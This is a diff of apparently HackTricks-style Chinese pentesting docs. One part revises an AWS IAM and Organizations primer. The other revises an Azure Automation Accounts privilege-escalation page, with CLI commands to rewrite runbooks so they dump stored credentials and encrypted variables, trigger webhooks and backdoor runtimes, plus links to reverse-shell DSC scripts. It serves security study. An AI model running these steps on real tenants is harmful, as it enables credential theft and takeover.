diff --git a/src/images/vm_to_aa.jpg b/src/images/vm_to_aa.jpg new file mode 100644 index 000000000..30893dfd5 Binary files /dev/null and b/src/images/vm_to_aa.jpg differ diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 3c5b12a21..f381b73c0 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -22,9 +22,9 @@ - 管理邀请 - 对组织内的实体(根、OU 或账户)应用政策 - 启用与支持的 AWS 服务的集成,以在组织中的所有账户之间提供服务功能。 -- 可以使用用于创建此根账户/组织的电子邮件和密码以根用户身份登录。 +- 可以使用创建此根账户/组织时使用的电子邮件和密码作为根用户登录。 -管理账户具有 **付款账户的责任**,并负责支付所有由成员账户产生的费用。您无法更改组织的管理账户。 +管理账户具有 **付款账户的责任**,并负责支付所有成员账户产生的费用。您无法更改组织的管理账户。 - **成员账户** 组成了组织中所有其他账户。一个账户一次只能是一个组织的成员。您可以将政策附加到一个账户,以仅对该账户应用控制。 - 成员账户 **必须使用有效的电子邮件地址**,并可以有一个 **名称**,通常他们将无法管理账单(但可能会被授予访问权限)。 @@ -40,13 +40,13 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -**服务控制策略 (SCP)** 是一种策略,指定用户和角色在受 SCP 影响的账户中可以使用的服务和操作。SCP **类似于 IAM** 权限策略,但它们 **不授予任何权限**。相反,SCP 指定组织、组织单位 (OU) 或账户的 **最大权限**。当您将 SCP 附加到您的组织根或 OU 时,**SCP 限制成员账户中实体的权限**。 +一个 **service control policy (SCP)** 是一种政策,指定用户和角色在受 SCP 影响的账户中可以使用的服务和操作。SCP 与 **IAM** 权限政策 **类似**,但它们 **不授予任何权限**。相反,SCP 指定了组织、组织单位 (OU) 或账户的 **最大权限**。当您将 SCP 附加到您的组织根或 OU 时,**SCP 限制成员账户中实体的权限**。 这是 **即使是根用户也可以被阻止** 执行某些操作的唯一方法。例如,它可以用于阻止用户禁用 CloudTrail 或删除备份。\ 绕过此限制的唯一方法是同时妥协配置 SCP 的 **主账户**(主账户无法被阻止)。 > [!WARNING] -> 请注意,**SCP 仅限制账户中的主体**,因此其他账户不受影响。这意味着拥有一个 SCP 拒绝 `s3:GetObject` 不会阻止人们 **访问您账户中的公共 S3 存储桶**。 +> 请注意,**SCP 仅限制账户中的主体**,因此其他账户不受影响。这意味着拥有一个拒绝 `s3:GetObject` 的 SCP 不会阻止人们 **访问您账户中的公共 S3 存储桶**。 SCP 示例: @@ -62,9 +62,27 @@ SCP 示例: 在 [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) 中查找 **JSON 示例**。 +### Resource Control Policy (RCP) + +一个 **resource control policy (RCP)** 是一种政策,定义了 **您 AWS 组织内资源的最大权限**。RCP 在语法上与 IAM 政策类似,但 **不授予权限**——它们仅限制其他政策可以应用于资源的权限。当您将 RCP 附加到您的组织根、组织单位 (OU) 或账户时,RCP 限制受影响范围内所有资源的资源权限。 + +这是确保 **资源不能超过预定义访问级别** 的唯一方法——即使身份基础或资源基础政策过于宽松。绕过这些限制的唯一方法是同时修改由您组织的管理账户配置的 RCP。 + +> [!WARNING] +> RCP 仅限制资源可以拥有的权限。它们不直接控制主体可以做什么。例如,如果 RCP 拒绝对 S3 存储桶的外部访问,它确保存储桶的权限永远不会允许超出设定限制的操作——即使资源基础政策配置错误。 + +RCP 示例: + +- 限制 S3 存储桶,使其只能被您组织内的主体访问 +- 限制 KMS 密钥使用,仅允许来自受信任组织账户的操作 +- 限制 SQS 队列的权限,以防止未经授权的修改 +- 强制 Secrets Manager 秘密的访问边界,以保护敏感数据 + +在 [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html) 中查找示例。 + ### ARN -**亚马逊资源名称** 是每个 AWS 内部资源的 **唯一名称**,其组成如下: +**Amazon Resource Name** 是每个 AWS 内部资源的 **唯一名称**,其组成如下: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env @@ -80,15 +98,15 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env IAM是允许您管理**身份验证**、**授权**和**访问控制**的服务。 -- **身份验证** - 定义身份和验证该身份的过程。此过程可以细分为:识别和验证。 +- **身份验证** - 定义身份及其验证的过程。此过程可以细分为:识别和验证。 - **授权** - 确定身份在系统中经过身份验证后可以访问的内容。 -- **访问控制** - 授予对安全资源访问的方式和过程。 +- **访问控制** - 授予安全资源访问权限的方法和过程。 IAM可以通过其管理、控制和治理身份对您AWS账户内资源的身份验证、授权和访问控制机制的能力来定义。 ### [AWS账户根用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -当您首次创建Amazon Web Services (AWS)账户时,您将开始使用一个具有**对账户中所有**AWS服务和资源的**完全访问权限**的单一登录身份。这是AWS账户的_**根用户**_,通过使用**您用于创建账户的电子邮件地址和密码**进行登录。 +当您首次创建Amazon Web Services (AWS)账户时,您将拥有一个具有**完全访问所有**AWS服务和资源的单一登录身份。这是AWS账户的_**根用户**_,通过使用**您用于创建账户的电子邮件地址和密码**进行登录。 请注意,新创建的**管理员用户**将具有**比根用户更少的权限**。 @@ -98,7 +116,7 @@ IAM可以通过其管理、控制和治理身份对您AWS账户内资源的身 IAM _用户_是您在AWS中创建的实体,用于**代表使用它与AWS交互的人员或应用程序**。AWS中的用户由名称和凭据(密码和最多两个访问密钥)组成。 -当您创建IAM用户时,您通过将其设置为具有适当权限策略的**用户组的成员**(推荐)或**直接将策略附加**到用户来授予其**权限**。 +当您创建IAM用户时,您通过使其成为具有适当权限策略的**用户组的成员**(推荐)或**直接将策略附加**到用户来授予其**权限**。 用户可以启用**MFA登录**控制台。启用MFA的用户的API令牌不受MFA保护。如果您想要**使用MFA限制用户的API密钥访问**,您需要在策略中指明为了执行某些操作需要MFA(示例[**在这里**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。 @@ -143,7 +161,7 @@ IAM [用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ### [IAM角色](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以**假设角色以临时**承担特定任务的不同权限。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。 +IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以假设一个角色以临时**承担特定任务的不同权限**。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。 IAM角色由**两种类型的策略**组成:**信任策略**,不能为空,定义**谁可以假设**该角色,以及**权限策略**,不能为空,定义**它可以访问什么**。 @@ -153,7 +171,7 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权 ### [IAM中的临时凭证](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**临时凭证主要与IAM角色一起使用**,但也有其他用途。您可以请求具有比标准IAM用户更有限权限集的临时凭证。这**防止**您**意外执行不允许的任务**。临时凭证的一个好处是它们在设定的时间段后会自动过期。您可以控制凭证的有效持续时间。 +**临时凭证主要与IAM角色一起使用**,但也有其他用途。您可以请求具有比标准IAM用户更有限权限集的临时凭证。这**防止**您**意外执行不允许的任务**。临时凭证的一个好处是它们在设定的时间段后会自动过期。您可以控制凭证的有效期。 ### 策略 @@ -164,8 +182,8 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权 - AWS管理策略(由AWS预配置) - 客户管理策略:由您配置。您可以基于AWS管理策略创建策略(修改其中一个并创建自己的),使用策略生成器(一个帮助您授予和拒绝权限的GUI视图)或编写自己的策略。 -默认情况下,访问是**被拒绝的**,如果指定了明确的角色,则将授予访问权限。\ -如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证(默认允许)使用的请求除外。 +默认情况下,访问**被拒绝**,如果指定了明确的角色,则将授予访问权限。\ +如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证的请求(默认允许)除外。 ```javascript { "Version": "2012-10-17", //Version of the policy @@ -193,28 +211,28 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权 #### 内联策略 -这种策略是**直接分配**给用户、组或角色的。因此,它们不会出现在策略列表中,因为其他任何人都可以使用它们。\ -内联策略在您想要**保持策略与应用于的身份之间的严格一对一关系**时非常有用。例如,您希望确保策略中的权限不会意外分配给除其预期身份以外的身份。当您使用内联策略时,策略中的权限不能意外附加到错误的身份。此外,当您使用AWS管理控制台删除该身份时,嵌入在身份中的策略也会被删除。这是因为它们是主体实体的一部分。 +这种策略是**直接分配**给用户、组或角色的。因此,它们不会出现在其他人可以使用的策略列表中。\ +内联策略在您想要**保持策略与应用于的身份之间的严格一对一关系**时非常有用。例如,您希望确保策略中的权限不会意外分配给除其预期身份以外的身份。当您使用内联策略时,策略中的权限不会意外附加到错误的身份。此外,当您使用AWS管理控制台删除该身份时,嵌入在身份中的策略也会被删除。这是因为它们是主体实体的一部分。 #### 资源桶策略 这些是可以在**资源**中定义的**策略**。**并非所有AWS资源都支持它们**。 -如果主体没有对它们的明确拒绝,并且资源策略授予它们访问权限,则它们被允许。 +如果主体没有对它们的明确拒绝,并且资源策略授予它们访问权限,则允许它们。 ### IAM边界 -IAM边界可以用来**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户一组不同的权限,如果他尝试使用这些权限,操作将**失败**。 +IAM边界可以用来**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户不同的权限,如果他尝试使用它们,操作将**失败**。 -边界只是附加到用户的策略,**指示用户或角色可以拥有的最大权限级别**。因此,**即使用户具有管理员访问权限**,如果边界指示他只能读取S·桶,那就是他能做的最大限度。 +边界只是附加到用户的策略,**指示用户或角色可以拥有的最大权限级别**。因此,**即使用户具有管理员访问权限**,如果边界指示他只能读取S·桶,那就是他能做的最大事情。 **这**、**SCPs**和**遵循最小权限**原则是控制用户权限不超过其所需权限的方式。 ### 会话策略 -会话策略是**在角色被假定时设置的策略**。这将类似于该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。 +会话策略是在某种情况下**假设角色时设置的策略**。这将类似于该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。 -这对于**安全措施**非常有用:当管理员要假定一个非常特权的角色时,他可以将权限限制为仅在会话策略中指示的权限,以防会话被破坏。 +这对于**安全措施**非常有用:当管理员要假设一个非常特权的角色时,他可以将权限限制为仅在会话策略中指示的权限,以防会话被破坏。 ```bash aws sts assume-role \ --role-arn \ @@ -222,24 +240,24 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -注意,默认情况下,**AWS 可能会为即将生成的会话添加会话策略**,这是由于其他原因。例如,在 [未认证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) 中,默认情况下(使用增强认证),AWS 将生成 **带有会话策略的会话凭证**,该策略限制会话可以访问的服务 [**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 +注意,默认情况下,**AWS 可能会向即将生成的会话添加会话策略**,这是由于其他原因。例如,在[未经身份验证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)中,默认情况下(使用增强身份验证),AWS 将生成**带有会话策略的会话凭证**,该策略限制会话可以访问的服务[**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 -因此,如果在某个时刻你遇到错误“...因为没有会话策略允许...”,而角色有权限执行该操作,那是因为 **有一个会话策略阻止了它**。 +因此,如果在某个时刻您遇到错误“...因为没有会话策略允许...”,而角色有权限执行该操作,这意味着**存在一个会话策略阻止它**。 ### 身份联合 -身份联合 **允许来自外部身份提供者的用户** 安全地访问 AWS 资源,而无需提供有效 IAM 用户帐户的 AWS 用户凭证。\ -身份提供者的一个例子可以是你自己的企业 **Microsoft Active Directory**(通过 **SAML**)或 **OpenID** 服务(如 **Google**)。联合访问将允许其中的用户访问 AWS。 +身份联合**允许来自外部身份提供者的用户**安全地访问 AWS 资源,而无需提供有效 IAM 用户帐户的 AWS 用户凭证。\ +身份提供者的一个例子可以是您自己的企业**Microsoft Active Directory**(通过**SAML**)或**OpenID**服务(如**Google**)。联合访问将允许其中的用户访问 AWS。 -要配置这种信任,生成一个 **IAM 身份提供者(SAML 或 OAuth)**,该提供者将 **信任** **其他平台**。然后,至少一个 **IAM 角色被分配(信任)给身份提供者**。如果来自受信平台的用户访问 AWS,他将以提到的角色进行访问。 +要配置此信任,将生成一个**IAM 身份提供者(SAML 或 OAuth)**,该提供者将**信任****其他平台**。然后,至少一个**IAM 角色被分配(信任)给身份提供者**。如果来自受信任平台的用户访问 AWS,他将以提到的角色进行访问。 -然而,通常你会希望根据第三方平台中用户的组给予 **不同的角色**。然后,多个 **IAM 角色可以信任** 第三方身份提供者,第三方平台将是允许用户假定一个角色或另一个角色的地方。 +然而,您通常希望根据第三方平台中用户的**组别给予不同的角色**。然后,多个**IAM 角色可以信任**第三方身份提供者,第三方平台将允许用户假定一个角色或另一个角色。
### IAM 身份中心 -AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个 **中央位置**,将 **用户及其对 AWS** 帐户和云应用程序的访问管理汇集在一起。 +AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个**集中位置**,将**用户及其对 AWS**帐户和云应用程序的访问管理汇集在一起。 登录域将类似于 `.awsapps.com`。 @@ -251,20 +269,20 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访
-在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够 **为他们分配策略** 到 **组织的任何帐户**。 +在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够**为他们分配策略**到**组织的任何帐户**。 -为了给予身份中心用户/组对帐户的访问,将创建一个 **信任身份中心的 SAML 身份提供者**,并在目标帐户中创建一个 **信任身份提供者并具有指示策略的角色**。 +为了给身份中心用户/组访问一个帐户,将创建一个**信任身份中心的 SAML 身份提供者**,并在目标帐户中创建一个**信任身份提供者并具有指示策略的角色**。 #### AwsSSOInlinePolicy -可以通过 **IAM 身份中心创建的角色的内联策略** 来 **授予权限**。在被授予 **AWS 身份中心内联策略** 的帐户中创建的角色将具有名为 **`AwsSSOInlinePolicy`** 的内联策略中的这些权限。 +可以通过**内联策略向通过 IAM 身份中心创建的角色授予权限**。在被授予**AWS 身份中心内联策略**的帐户中创建的角色将具有名为**`AwsSSOInlinePolicy`**的内联策略中的这些权限。 -因此,即使你看到两个具有名为 **`AwsSSOInlinePolicy`** 的内联策略的角色,也 **并不意味着它们具有相同的权限**。 +因此,即使您看到两个具有名为**`AwsSSOInlinePolicy`**的内联策略的角色,也**并不意味着它们具有相同的权限**。 ### 跨账户信任和角色 -**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后 **允许另一个用户**(受信任) **访问他的帐户**,但仅 **具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\ -建议 **指定被信任的用户,而不是放置一些通用的内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也可能滥用此信任。 +**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后**允许另一个用户**(受信任)**访问他的帐户**,但仅**具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供您拥有的 AWS 账户之间的访问,以及提供您拥有的账户与第三方 AWS 账户之间的访问。\ +建议**指定受信任的用户,而不是放置一些通用内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也可能滥用此信任。 ### AWS Simple AD @@ -278,36 +296,36 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访 - 架构扩展 - 无法直接访问操作系统或实例 -#### Web 联合或 OpenID 认证 +#### Web 联合或 OpenID 身份验证 该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予对 AWS 控制台的访问权限,仅授予对 AWS 内部资源的访问权限。 ### 其他 IAM 选项 -- 你可以 **设置密码策略设置**,选项如最小长度和密码要求。 -- 你可以 **下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用...)。你可以每 **四小时** 生成一次凭证报告。 +- 您可以**设置密码策略设置**选项,如最小长度和密码要求。 +- 您可以**下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用等)。您可以每**四小时**生成一次凭证报告。 -AWS 身份和访问管理(IAM)提供 **细粒度的访问控制**,覆盖所有 AWS。使用 IAM,你可以指定 **谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,你管理对你的劳动力和系统的权限,以 **确保最小权限**。 +AWS 身份和访问管理(IAM)提供**细粒度的访问控制**,覆盖所有 AWS。使用 IAM,您可以指定**谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,您管理对您的员工和系统的权限,以**确保最小权限**。 ### IAM ID 前缀 -在 [**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) 中,你可以找到根据其性质的 **IAM ID 前缀**: +在[**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids)中,您可以找到根据其性质的键的**IAM ID 前缀**: -| 标识符代码 | 描述 | +| 标识符代码 | 描述 | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ABIA | [AWS STS 服务承载令牌](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [AWS STS 服务承载令牌](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | -| ACCA | 上下文特定凭证 | -| AGPA | 用户组 | -| AIDA | IAM 用户 | -| AIPA | Amazon EC2 实例配置文件 | -| AKIA | 访问密钥 | -| ANPA | 管理策略 | -| ANVA | 管理策略中的版本 | -| APKA | 公钥 | -| AROA | 角色 | -| ASCA | 证书 | -| ASIA | [临时(AWS STS)访问密钥 ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) 使用此前缀,但仅在与秘密访问密钥和会话令牌组合时是唯一的。 | +| ACCA | 上下文特定凭证 | +| AGPA | 用户组 | +| AIDA | IAM 用户 | +| AIPA | Amazon EC2 实例配置文件 | +| AKIA | 访问密钥 | +| ANPA | 管理策略 | +| ANVA | 管理策略中的版本 | +| APKA | 公钥 | +| AROA | 角色 | +| ASCA | 证书 | +| ASIA | [临时(AWS STS)访问密钥 ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)使用此前缀,但仅在与秘密访问密钥和会话令牌组合时是唯一的。 | ### 审计账户的推荐权限 @@ -324,10 +342,10 @@ AWS 身份和访问管理(IAM)提供 **细粒度的访问控制**,覆盖 ## 其他 -### CLI 认证 +### CLI 身份验证 -为了让常规用户通过 CLI 认证到 AWS,你需要拥有 **本地凭证**。默认情况下,你可以在 `~/.aws/credentials` 中 **手动** 配置它们,或通过 **运行** `aws configure`。\ -在该文件中,你可以拥有多个配置文件,如果在 **aws cli** 中未指定 **配置文件**,则将使用该文件中名为 **`[default]`** 的配置文件。\ +为了让常规用户通过 CLI 认证到 AWS,您需要拥有**本地凭证**。默认情况下,您可以在 `~/.aws/credentials` 中**手动**配置它们,或通过**运行** `aws configure`。\ +在该文件中,您可以拥有多个配置文件,如果使用**aws cli**时**未指定配置文件**,则将使用该文件中名为**`[default]`**的配置文件。\ 具有多个配置文件的凭证文件示例: ``` [default] @@ -339,7 +357,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**在这些账户内假设角色**的权限,您不需要每次手动调用STS(`aws sts assume-role --role-arn --role-session-name sessname`)并配置凭证。 +如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**在这些账户内假设角色**的权限,您就不需要每次手动调用STS(`aws sts assume-role --role-arn --role-session-name sessname`)并配置凭证。 您可以使用`~/.aws/config`文件来[**指示要假设的角色**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html),然后像往常一样使用`--profile`参数(`assume-role`将以透明的方式为用户执行)。\ 配置文件示例: @@ -355,12 +373,13 @@ sts_regional_endpoints = regional ``` aws --profile acc2 ... ``` -如果您正在寻找与此**类似**的**浏览器**工具,可以查看**扩展** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)。 +如果您正在寻找类似的东西,但用于**浏览器**,您可以查看**扩展** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)。 ## 参考文献 - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) +- [https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/](https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index c3912e1e1..8c8483b82 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -12,18 +12,29 @@ ### Hybrid Workers Group +- **从自动化账户到虚拟机** + 请记住,如果攻击者能够在混合工作者中执行任意运行簿(任意代码),他将**转移到虚拟机的位置**。这可能是本地机器、不同云的VPC,甚至是Azure虚拟机。 -此外,如果混合工作者在Azure中运行并附加了其他托管身份,运行簿将能够访问**运行簿的托管身份以及虚拟机的所有托管身份,来自元数据服务**。 +此外,如果混合工作者在Azure中运行并附加了其他托管身份,运行簿将能够访问**运行簿的托管身份以及虚拟机的所有托管身份,从元数据服务中获取**。 > [!TIP] -> 请记住,**元数据服务**的URL与获取自动化帐户的托管身份令牌的服务不同(**`http://169.254.169.254`**)。 +> 请记住,**元数据服务**的URL与获取自动化账户的托管身份令牌的服务(**`IDENTITY_ENDPOINT`**)不同(**`http://169.254.169.254`**)。 + +- **从虚拟机到自动化账户** + +此外,如果有人攻陷了运行自动化账户脚本的虚拟机,他将能够定位**自动化账户**元数据并从虚拟机访问它,以获取与自动化账户附加的**托管身份**的令牌。 + +正如在以下图像中所示,拥有虚拟机的管理员访问权限,可以在**进程的环境变量**中找到访问自动化账户元数据服务的URL和密钥: + +![]() + ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -总之,这些权限允许**创建、修改和运行自动化帐户中的运行簿**,您可以利用这些权限在自动化帐户的上下文中**执行代码**并提升对分配的**托管身份**的权限,泄露**凭据**和**存储在自动化帐户中的加密变量**。 +总之,这些权限允许**创建、修改和运行自动化账户中的运行簿**,您可以利用这些权限在自动化账户的上下文中**执行代码**,并提升对分配的**托管身份**的权限,泄露**凭据**和存储在自动化账户中的**加密变量**。 -权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许使用以下方式修改自动化帐户中运行簿的代码: +权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许修改自动化账户中运行簿的代码: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -36,9 +47,9 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -注意前面的脚本如何用于**泄露用户和密码**的凭据以及存储在自动化帐户中的**加密变量**的值。 +注意如何使用之前的脚本来**泄露用户和密码**以及存储在自动化帐户中的**加密变量**的值。 -权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布Runbook,以便应用更改: +权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布运行簿,以便应用更改: ```bash az automation runbook publish \ --resource-group \ @@ -123,11 +134,11 @@ az rest --method PUT \ }' ``` > [!TIP] -> 在之前的示例中,作业调度 ID 被留作 **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 作为示例**,但您需要使用一个任意值来创建此分配。 +> 在前面的示例中,jobchedule id 被留作 **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 作为示例**,但您需要使用任意值来创建此分配。 ### `Microsoft.Automation/automationAccounts/webhooks/write` -拥有权限 **`Microsoft.Automation/automationAccounts/webhooks/write`** 后,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。 +拥有权限 **`Microsoft.Automation/automationAccounts/webhooks/write`**,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。 请注意,您需要 **指明 webhook URI** 以及要使用的令牌。 ```bash @@ -153,7 +164,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -仅凭权限 `Microsoft.Automation/automationAccounts/runbooks/draft/write`,就可以 **更新 Runbook 的代码** 而无需发布,并使用以下命令运行它。 +仅凭权限 `Microsoft.Automation/automationAccounts/runbooks/draft/write`,可以 **更新 Runbook 的代码** 而无需发布,并使用以下命令运行它。 ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -194,16 +205,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -这将自动从Github存储库导入runbooks到Automation Account,并且通过一些其他权限开始运行它们,**可能会提升权限**。 +这将自动从Github存储库导入运行簿到自动化帐户,并且通过一些其他权限开始运行它们将**可能提升权限**。 -此外,请记住,要使源控制在Automation Accounts中工作,它必须具有角色为**`Contributor`**的托管身份,如果是用户管理的身份,则必须在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指定MI的客户端ID。 +此外,请记住,要使源控制在自动化帐户中工作,它必须具有角色为**`Contributor`**的托管身份,如果是用户管理的身份,则必须在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指定MI的客户端ID。 > [!TIP] -> 请注意,一旦创建源控制,就无法更改repo URL。 +> 请注意,一旦创建源控制,就无法更改存储库URL。 ### `Microsoft.Automation/automationAccounts/variables/write` -通过权限**`Microsoft.Automation/automationAccounts/variables/write`**,可以使用以下命令在Automation Account中写入变量。 +通过权限**`Microsoft.Automation/automationAccounts/variables/write`**,可以使用以下命令在自动化帐户中写入变量。 ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -219,7 +230,7 @@ az rest --method PUT \ ``` ### 自定义运行时环境 -如果一个自动化账户使用自定义运行时环境,可能会有机会用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。 +如果自动化帐户使用自定义运行时环境,则可能可以用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。 ### 破坏状态配置 @@ -228,14 +239,14 @@ az rest --method PUT \ - 第一步 — 创建文件 **所需文件:** 需要两个 PowerShell 脚本: -1. `reverse_shell_config.ps1`:一个获取并执行有效载荷的期望状态配置(DSC)文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。 -2. `push_reverse_shell_config.ps1`:一个将配置发布到虚拟机的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。 +1. `reverse_shell_config.ps1`:一个获取并执行有效负载的期望状态配置(DSC)文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。 +2. `push_reverse_shell_config.ps1`:一个将配置发布到 VM 的脚本,位于 